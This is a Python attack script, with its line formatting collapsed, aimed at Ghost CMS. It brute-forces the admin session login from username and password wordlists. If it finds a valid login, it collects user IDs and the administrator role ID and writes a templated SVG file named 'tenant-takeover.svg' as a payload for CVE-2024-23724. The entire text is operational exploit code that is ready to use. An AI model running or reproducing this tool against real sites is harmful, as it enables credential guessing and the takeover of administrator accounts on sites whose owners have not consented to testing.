import requests import argparse def brute_force_credentials(userlist_path, passlist_path, target): try: with open(userlist_path, 'r') as f: usernames = [line.strip() for line in f.readlines() if line.strip()] with open(passlist_path, 'r') as f: passwords = [line.strip() for line in f.readlines() if line.strip()] except FileNotFoundError as e: print(f"Error reading wordlist: {e}") return None auth_url = f"{target}:3001/ghost/api/admin/session" auth_headers = { "Content-Type": "application/json;charset=UTF-8", "X-Ghost-Version": "5.75", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36", "Accept": "text/plain, */*; q=0.01" } for username in usernames: for password in passwords: auth_payload = {"username": username, "password": password} try: response = requests.post(auth_url, json=auth_payload, headers=auth_headers, timeout=10) if response.status_code == 201: print(f"\n[+] Attempt successful: {username}:{password}") return (username, password) else: print(f"[-] Attempt Failed: {username}:{password}") except requests.exceptions.RequestException as e: print(f"[!] Request error: {e}") continue return None def exploit_cve(username, password, target): base_url = target auth_url = f"{base_url}:3001/ghost/api/admin/session" auth_headers = { "Content-Type": "application/json;charset=UTF-8", "X-Ghost-Version": "5.75", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36", "Accept": "text/plain, */*; q=0.01" } auth_payload = {"username": username, "password": password} try: auth_response = requests.post(auth_url, json=auth_payload, headers=auth_headers, timeout=10) except requests.exceptions.RequestException as e: print(f"[!] Authentication failed: {e}") return if auth_response.status_code == 201 and 'Set-Cookie' in auth_response.headers: session_cookie = auth_response.headers['Set-Cookie'].split(';')[0] print(f"[+] Session Cookie: {session_cookie}") else: print(f"[-] Authentication failed (Status: {auth_response.status_code})") return get_url = f"{base_url}:3001/ghost/api/admin/users/?include=roles" get_headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36", "Content-Type": "application/json; charset=UTF-8", "Accept": "application/json, text/javascript, */*; q=0.01", "X-Ghost-Version": "5.75", "Cookie": session_cookie } try: get_response = requests.get(get_url, headers=get_headers, timeout=10) except requests.exceptions.RequestException as e: print(f"[!] GET request failed: {e}") return if get_response.status_code == 200: try: users_data = get_response.json().get("users", []) user_info = next((user for user in users_data if user.get("email") == username), None) admin_role_info = next((user for user in users_data if any(role.get('name') == 'Administrator' for role in user.get('roles', []))), None) admin_role_id = admin_role_info['roles'][0]['id'] if admin_role_info else '[Admin-Role-ID]' if user_info: replacements = { '[User-ID]': user_info.get("id", ""), '[User-Name]': user_info.get("name", ""), '[Slug-Name]': user_info.get("slug", ""), '[User-Email]': user_info.get("email", ""), '[Admin-Role-ID]': admin_role_id } try: with open("boilerplate.svg", "r") as f: svg_template = f.read() for placeholder, value in replacements.items(): svg_template = svg_template.replace(placeholder, value) with open("tenant-takeover.svg", "w") as f: f.write(svg_template) print("[+] SVG payload written to tenant-takeover.svg") except FileNotFoundError: print("[!] boilerplate.svg file not found") except Exception as e: print(f"[!] Error processing SVG: {e}") else: print("[-] User not found in response") except Exception as e: print(f"[!] Error processing user data: {e}") else: print(f"[-] GET request failed (Status: {get_response.status_code})") if __name__ == "__main__": parser = argparse.ArgumentParser(description='Ghost CMS Brute-force and CVE-2024-23724 Exploit') parser.add_argument('-U', '--userlist', required=True, help='Path to username wordlist file') parser.add_argument('-P', '--passlist', required=True, help='Path to password wordlist file') parser.add_argument('-t', '--target', required=True, help='Target base URL (e.g., http://localhost)') args = parser.parse_args() print("[*] Starting brute-force attack...") credentials = brute_force_credentials(args.userlist, args.passlist, args.target) if credentials: print("\n[*] Valid credentials found! Checking for CVE-2024-23724...") exploit_cve(*credentials, args.target) else: print("\n[-] Brute-force failed: No valid credentials found")